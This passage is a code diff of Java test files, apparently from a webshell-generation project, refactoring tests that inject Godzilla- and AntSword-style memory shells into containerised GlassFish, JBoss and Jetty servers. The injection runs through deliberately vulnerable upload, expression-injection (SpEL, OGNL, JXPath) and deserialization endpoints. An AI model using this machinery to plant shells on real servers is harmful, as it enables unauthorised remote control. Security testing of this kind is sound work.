import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
@@ -35,7 +34,11 @@ import java.net.URL;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Path; import java.nio.file.Path;
import java.util.Objects; import java.util.Objects;
import java.util.Random;
import static com.reajason.javaweb.memshell.ShellTool.*;
import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES;
import static com.reajason.javaweb.utils.CommonUtil.getRandomString;
import static org.hamcrest.CoreMatchers.anyOf; import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.MatcherAssert.assertThat;
@@ -49,17 +52,17 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
@Slf4j @Slf4j
public class ShellAssertion { public class ShellAssertion {
public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer) {
shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null); shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
} }
@SneakyThrows @SneakyThrows
public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) { public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null); shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
} }
@SneakyThrows @SneakyThrows
public static Pair<String, String> getUrls(String url, String shellType, ShellTool shellTool, Packers packer) { public static Pair<String, String> getUrls(String url, String shellType, String shellTool, Packers packer) {
String shellUrl = url + "/test"; String shellUrl = url + "/test";
String urlPattern = null; String urlPattern = null;
if (shellType.endsWith(ShellType.SERVLET) if (shellType.endsWith(ShellType.SERVLET)
@@ -80,14 +83,14 @@ public class ShellAssertion {
} }
@SneakyThrows @SneakyThrows
public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) { public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer); Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft(); String shellUrl = urls.getLeft();
String urlPattern = urls.getRight(); String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer); ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig); MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer); packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
@@ -95,7 +98,7 @@ public class ShellAssertion {
} }
@SneakyThrows @SneakyThrows
public static void packerResultAndInject(MemShellResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) { public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
String content = null; String content = null;
if (packer.getInstance() instanceof AgentJarPacker) { if (packer.getInstance() instanceof AgentJarPacker) {
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
@@ -141,7 +144,7 @@ public class ShellAssertion {
} }
@SneakyThrows @SneakyThrows
public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) { public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
switch (shellTool) { switch (shellTool) {
case Godzilla: case Godzilla:
godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
@@ -233,7 +236,7 @@ public class ShellAssertion {
assertTrue(antSwordManager.getInfo().contains("ok")); assertTrue(antSwordManager.getInfo().contains("ok"));
} }
public static ShellToolConfig getShellToolConfig(String shellType, ShellTool shellTool, Packers packer) { public static ShellToolConfig getShellToolConfig(String shellType, String shellTool, Packers packer) {
ShellToolConfig shellToolConfig = null; ShellToolConfig shellToolConfig = null;
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
switch (shellTool) { switch (shellTool) {
@@ -288,11 +291,16 @@ public class ShellAssertion {
return shellToolConfig; return shellToolConfig;
} }
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) { public static MemShellResult generate(String urlPattern, String server, String shellType, String shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig, Packers packer) {
InjectorConfig injectorConfig = new InjectorConfig(); InjectorConfig injectorConfig = new InjectorConfig();
if (StringUtils.isNotBlank(urlPattern)) { if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern); injectorConfig.setUrlPattern(urlPattern);
} }
if (Packers.SpELSpringGzipJDK17.equals(packer)
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
}
ShellConfig shellConfig = ShellConfig.builder() ShellConfig shellConfig = ShellConfig.builder()
.server(server) .server(server)
@@ -306,7 +314,7 @@ public class ShellAssertion {
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
} }
public static void injectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) { public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) {
switch (packer) { switch (packer) {
case JSP, ClassLoaderJSP, DefineClassJSP -> { case JSP, ClassLoaderJSP, DefineClassJSP -> {
String uploadEntry = url + "/upload"; String uploadEntry = url + "/upload";
@@ -322,12 +330,15 @@ public class ShellAssertion {
VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl); VulTool.urlIsOk(shellUrl);
} }
case ScriptEngine -> VulTool.postIsOk(url + "/js", content); case ScriptEngine, DefaultScriptEngine, ScriptEngineNoSquareBrackets, ScriptEngineBigInteger ->
VulTool.postIsOk(url + "/js", content);
case EL -> VulTool.postIsOk(url + "/el", content); case EL -> VulTool.postIsOk(url + "/el", content);
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postIsOk(url + "/spel", content); case SpEL, SpELSpringGzip, SpELScriptEngine, SpELSpringGzipJDK17 ->
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postIsOk(url + "/ognl", content); VulTool.postIsOk(url + "/spel", content);
case OGNLSpringGzip, OGNLScriptEngine, OGNLSpringGzipJDK17 -> VulTool.postIsOk(url + "/ognl", content);
case MVEL -> VulTool.postIsOk(url + "/mvel", content); case MVEL -> VulTool.postIsOk(url + "/mvel", content);
case JXPath -> VulTool.postIsOk(url + "/jxpath", content); case JXPath, JXPathScriptEngine, JXPathSpringGzip, JXPathSpringGzipJDK17 ->
VulTool.postIsOk(url + "/jxpath", content);
case JEXL -> VulTool.postIsOk(url + "/jexl2", content); case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
case Aviator -> VulTool.postIsOk(url + "/aviator", content); case Aviator -> VulTool.postIsOk(url + "/aviator", content);
case Groovy -> VulTool.postIsOk(url + "/groovy", content); case Groovy -> VulTool.postIsOk(url + "/groovy", content);
@@ -348,6 +359,7 @@ public class ShellAssertion {
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content); case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
case Base64 -> VulTool.postIsOk(url + "/b64", content); case Base64 -> VulTool.postIsOk(url + "/b64", content);
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content); case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content);
default -> throw new IllegalStateException("Unexpected value: " + packer); default -> throw new IllegalStateException("Unexpected value: " + packer);
@@ -1,7 +1,6 @@
package com.reajason.javaweb.integration; package com.reajason.javaweb.integration;
import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
@@ -23,7 +22,7 @@ public class TestCasesProvider {
String server, String server,
List<String> testShellTypes, List<String> testShellTypes,
List<Packers> testPackers, List<Packers> testPackers,
List<Triple<String, ShellTool, Packers>> unSupportedCases) { List<Triple<String, String, Packers>> unSupportedCases) {
return getTestCases(imageName, server, testShellTypes, testPackers, unSupportedCases, null); return getTestCases(imageName, server, testShellTypes, testPackers, unSupportedCases, null);
} }
@@ -31,9 +30,9 @@ public class TestCasesProvider {
String server, String server,
List<String> testShellTypes, List<String> testShellTypes,
List<Packers> testPackers, List<Packers> testPackers,
List<Triple<String, ShellTool, Packers>> unSupportedCases, List<Triple<String, String, Packers>> unSupportedCases,
List<ShellTool> unSupportedShellTools) { List<String> unSupportedShellTools) {
Set<ShellTool> supportedShellTools = new TreeSet<>(ServerFactory.getServer(server).getSupportedShellTools()); Set<String> supportedShellTools = new TreeSet<>(ServerFactory.getServer(server).getSupportedShellTools());
if (unSupportedShellTools != null) { if (unSupportedShellTools != null) {
unSupportedShellTools.forEach(supportedShellTools::remove); unSupportedShellTools.forEach(supportedShellTools::remove);
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -76,7 +75,7 @@ public class GlassFish3ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -76,7 +75,7 @@ public class GlassFish4ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class GlassFish501ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -69,7 +68,7 @@ public class GlassFish510ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -69,7 +69,7 @@ public class GlassFish6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
} }
} }
@@ -68,7 +68,7 @@ public class GlassFish7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python); shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Jboss423ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -73,7 +73,7 @@ public class Jboss510ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -70,7 +69,7 @@ public class Jboss610ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -73,7 +72,7 @@ public class Jboss711ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python); shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jbosseap;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class JbossEap6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jbosseap;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class JbossEap7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class Jetty10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
} }
} }
@@ -71,7 +71,7 @@ public class Jetty11ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python);
} }
} }
@@ -71,7 +71,7 @@ public class Jetty12ee10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -69,7 +68,7 @@ public class Jetty12ee8ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
} }
} }
@@ -71,7 +71,7 @@ public class Jetty12ee9ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class Jetty61ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Jetty75ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Jetty76ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
